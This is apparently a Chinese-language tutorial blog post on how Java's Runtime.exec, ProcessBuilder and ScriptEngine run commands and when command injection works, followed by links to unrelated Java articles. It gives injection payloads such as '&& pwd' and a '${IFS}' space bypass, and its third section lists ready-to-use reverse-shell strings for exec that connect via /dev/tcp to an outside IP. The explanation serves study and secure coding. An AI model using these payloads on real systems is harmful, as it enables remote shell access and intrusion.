java中關(guān)于命令執(zhí)行匯總
一、Java中可執(zhí)行命令的API
java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)
java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()
命令執(zhí)行漏洞只關(guān)注 第一個(gè)String參數(shù) 或者 String[]或列表的第一個(gè)元素
- 如果該參數(shù)完全可控,或者是/bin/bash(Linux)或cmd(Windows)等運(yùn)行shell解析器的命令、后面的部分可控,則可以注入。
- 如果的哥參數(shù)是bat或者sh腳本文件,后面的參數(shù)可控,則需要根據(jù)腳本如何使用可控參數(shù)來判斷是否可以注入。
其他API:
ScriptEngine接口:
可使用ScriptEngine.eval解析多種腳本,比如JavaScript,而JavaScript中可以執(zhí)行java命令。
二、說明
java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接啟動(dòng)傳入?yún)?shù)對(duì)應(yīng)的進(jìn)程。
以curl為例,php的system會(huì)啟動(dòng)系統(tǒng)shell,然后通過shell來啟動(dòng)curl進(jìn)程,這個(gè)過程中,如果傳入的命令帶有shell能解析的語法,就會(huì)首先解析。
所以,如果只是命令執(zhí)行的部分參數(shù)可控,想在java中通過;、|、&等實(shí)現(xiàn)命令注入,是行不通的。
當(dāng)然不排除程序本身存在漏洞,只需傳入?yún)?shù)即可造成漏洞。
1、ProcessBuilder
第一種情況:某個(gè)參數(shù)可控
new ProcessBuilder(new String[]{"ls", "-lh", dir};);
//不可執(zhí)行。這種情況下因?yàn)椴皇侵荒軋?zhí)行l(wèi)s命令,后面的均為ls的參數(shù)。第二種情況:完全可控
只能執(zhí)行一些沒有參數(shù)的命令,因?yàn)镻rocessBuilder不支持以字符串形式傳入命令,只能拆分成List或者數(shù)組的形式傳入,才能執(zhí)行。
// String cmd = "xx"; ProcessBuilder builder = new ProcessBuilder(cmd); Process process = builder.start(); //部分任意執(zhí)行。這種情況可執(zhí)行沒有參數(shù)的命令,原因?yàn)檫@里 cmd 的值表示的是執(zhí)行命令的文件路徑,因此無法使用參數(shù)
第三種情況:shell環(huán)境下的某個(gè)參數(shù)可控
new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);
//不可任意執(zhí)行。這種情況下,dir 傳入 pwd 或 ;pwd 都無法執(zhí)行,因?yàn)橹挥?echo test 會(huì)作為 -c 選項(xiàng)的參數(shù)值
new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);
//可執(zhí)行不帶參數(shù)的命令。dir 參數(shù)用戶可控,如果傳入如 && pwd,則可以成功執(zhí)行 pwd 命令2、Runtime
Runtime的exec(String command)其內(nèi)部調(diào)用了exec(String command, String[] envp, File dir),傳入的字符串命令會(huì)先經(jīng)過 StringTokenizer 進(jìn)行處理,即使用分隔符,包括空格,\t\n\r\f 對(duì)字符串進(jìn)行分隔后,再調(diào)用 exec(String[] cmdarray, String[] envp, File dir),最后是通過ProcessBuilder 來執(zhí)行的。
第一種情況:
如果參數(shù)完全可控,則可以執(zhí)行任意命令
Process process = runtime.exec("sh -c whoami");第二種情況:
若沒有手動(dòng)創(chuàng)建 shell 執(zhí)行命令,沒有存在參數(shù)注入,則無法實(shí)現(xiàn)命令注入
Process process = runtime.exec("ping -c 1 " + ip);
//這種傳入 127.0.0.1 | id,是無法正常執(zhí)行的第三種情況:
手動(dòng)創(chuàng)建 shell 執(zhí)行命令,可執(zhí)行-c 的參數(shù)值的命令,但值內(nèi)不能有空格、\t\n\r\f 分隔符,否則會(huì)被分割
// 相當(dāng)于執(zhí)行 sh -c curl,example.com 參數(shù)會(huì)被忽略
String cmd = "sh -c curl example.com";
// \t 也是分割符之一
String cmd = "sh -c curl\texample.com";
// 使用 ${IFS} (對(duì)應(yīng)內(nèi)部字段分隔符) 來代替空格,成功執(zhí)行
String cmd = "sh -c curl${IFS}example.com";三、在exec中反彈shell命令
方法一:
"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"方法二:
"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"
方法三:
str = 命令寫這里。
cmd = "sh -c $@ | sh . echo" + str "Runtime.getRuntime().exec(cmd)"
總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
微服務(wù)如何通過feign.RequestInterceptor傳遞參數(shù)
這篇文章主要介紹了微服務(wù)如何通過feign.RequestInterceptor傳遞參數(shù),具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2022-03-03
SpringBoot優(yōu)雅的進(jìn)行全局異常處理的實(shí)現(xiàn)步驟
在軟件開發(fā)的世界里,異常處理是保證系統(tǒng)穩(wěn)定性和用戶體驗(yàn)的關(guān)鍵因素之一,尤其是在構(gòu)建基于微服務(wù)架構(gòu)的應(yīng)用時(shí),SpringBoot提供了一套強(qiáng)大的工具來幫助開發(fā)者管理這些異常,所以本文給大家介紹了SpringBoot如何優(yōu)雅的進(jìn)行全局異常處理,需要的朋友可以參考下2025-02-02
HttpServletRequest對(duì)象簡(jiǎn)介_動(dòng)力節(jié)點(diǎn)Java學(xué)院整理
這篇文章主要為大家詳細(xì)介紹了HttpServletRequest對(duì)象簡(jiǎn)介的相關(guān)資料,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2017-07-07
詳解Spring注解--@Autowired、@Resource和@Service
本篇文章主要介紹最重要的三個(gè)Spring注解,也就是@Autowired、@Resource和@Service,具有很好的參考價(jià)值。下面跟著小編一起來看下吧2017-05-05
Java享元設(shè)計(jì)模式優(yōu)化對(duì)象創(chuàng)建提高性能和效率
Java享元設(shè)計(jì)模式通過共享可重用的對(duì)象,減少了系統(tǒng)中對(duì)象的數(shù)量,優(yōu)化了對(duì)象的創(chuàng)建和管理,提高了性能和效率。它是一種經(jīng)典的設(shè)計(jì)模式,適用于需要處理大量相似對(duì)象的應(yīng)用程序2023-04-04
詳解Java中Comparable和Comparator接口的區(qū)別
這篇文章主要介紹了詳解Java中Comparable和Comparator接口的區(qū)別的相關(guān)資料,希望通過本文大家能徹底掌握這部分內(nèi)容,需要的朋友可以參考下2017-09-09
Mybatis 動(dòng)態(tài)SQL搭建環(huán)境的全過程
這篇文章主要給大家介紹了關(guān)于Mybatis動(dòng)態(tài)SQL搭建環(huán)境的相關(guān)資料,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2021-05-05
java ThreadPoolExecutor線程池拒絕策略避坑
這篇文章主要為大家介紹了java ThreadPoolExecutor拒絕策略避坑踩坑示例詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-07-07
SpringBoot基于自定義注解實(shí)現(xiàn)切面編程
這篇文章主要介紹了SpringBoot基于自定義注解實(shí)現(xiàn)切面編程,文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下2020-11-11
IDEA斷點(diǎn)調(diào)試,斷點(diǎn)不起作用的解決
這篇文章主要介紹了IDEA斷點(diǎn)調(diào)試,斷點(diǎn)不起作用的解決方案,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教2023-03-03

